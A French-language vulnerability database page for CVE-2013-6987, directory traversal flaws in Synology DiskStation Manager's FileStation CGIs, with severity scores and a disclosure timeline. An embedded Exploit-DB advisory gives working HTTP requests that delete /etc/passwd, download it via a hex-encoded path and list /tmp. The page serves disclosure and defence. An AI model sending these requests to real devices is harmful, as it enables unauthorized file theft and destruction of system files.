CVE-2013-6987 : Détail

CVE-2013-6987

Directory Traversal
A01-Broken Access Control
0.9%V3
Network
2013-12-31
14h00 +00:00
2017-08-28
10h57 +00:00
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Descriptions du CVE

Multiple directory traversal vulnerabilities in the FileBrowser components in Synology DiskStation Manager (DSM) before 4.3-3810 Update 3 allow remote attackers to read, write, and delete arbitrary files via a .. (dot dot) in the (1) path parameter to file_delete.cgi or (2) folder_path parameter to file_share.cgi in webapi/FileStation/; (3) dlink parameter to fbdownload/; or unspecified parameters to (4) html5_upload.cgi, (5) file_download.cgi, (6) file_sharing.cgi, (7) file_MVCP.cgi, or (8) file_rename.cgi in webapi/FileStation/.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 30475

Date de publication : 2013-12-23 23h00 +00:00
Auteur : Andrea Fabrizi
EDB Vérifié : No

************************************************************** Title: Synology DSM multiple directory traversal Version affected: <= 4.3-3810 Vendor: Synology Discovered by: Andrea Fabrizi Email: andrea.fabrizi@gmail.com Web: http://www.andreafabrizi.it Twitter: @andreaf83 Status: patched CVE: 2013-6987 ************************************************************** I'm again here with a Synology DSM vulnerability. Synology DiskStation Manager (DSM) it's a Linux based operating system, used for the DiskStation and RackStation products. I found a lot of directory traversal in the FileBrowser components. This kind of vulnerability allows any authenticated user, even if not administrative, to access, create, delete, modify system and configuration files. The only countermeasure implemented against this vulnerability is the check that the path starts with a valid shared folder, so is enough to put the "../" straight after, to bypass the security check. Vulnerables CGIs: - /webapi/FileStation/html5_upload.cgi - /webapi/FileStation/file_delete.cgi - /webapi/FileStation/file_download.cgi - /webapi/FileStation/file_sharing.cgi - /webapi/FileStation/file_share.cgi - /webapi/FileStation/file_MVCP.cgi - /webapi/FileStation/file_rename.cgi Not tested all the CGI, but I guess that many others are vulnerable, so don't take my list as comprehensive. Following some examples ("test" is a valid folder name): - Delete /etc/passwd =========================================== POST /webapi/FileStation/file_delete.cgi HTTP/1.1 Host: 192.168.56.101:5000 X-SYNO-TOKEN: XXXXXXXX Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 103 Cookie: stay_login=0; id=kjuYI0HvD92m6 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache path=/test/../../etc/passwd&accurate_progress=true&api=SYNO.FileStation.Delete&method=start&version=1 =========================================== - Arbitrary file download: =========================================== GET /fbdownload/?dlink=2f746573742f2e2e2f2e2e2f6574632f706173737764 HTTP/1.1 Host: 192.168.56.101:5000 Connection: keep-alive Authorization: Basic XXXXXXXX =========================================== 2f746573742f2e2e2f2e2e2f6574632f706173737764 -> /test/../../etc/passwd - Remote file list: ========================= POST /webapi/FileStation/file_share.cgi HTTP/1.1 Host: 192.168.56.101:5000 X-SYNO-TOKEN: XXXXXXXX Content-Length: 75 Cookie: stay_login=0; id=f9EThJSyRaqJM; BCSI-CS-36db57a1c38ce2f6=2 folder_path=/test/../../tmp&api=SYNO.FileStation.List&method=list&version=1 ========================== Timeline: - 05/12/2013: First contact with the vendor - 06/12/2013: Vulnerability details sent to the vendor - 20/12/2013: Patch released by the vendor

Products Mentioned

Configuraton 0

Synology>>Diskstation_manager >> Version 4.3-3810

Références

http://www.securityfocus.com/bid/64483
Tags : vdb-entry, x_refsource_BID
http://www.exploit-db.com/exploits/30475
Tags : exploit, x_refsource_EXPLOIT-DB
http://seclists.org/fulldisclosure/2013/Dec/177
Tags : mailing-list, x_refsource_FULLDISC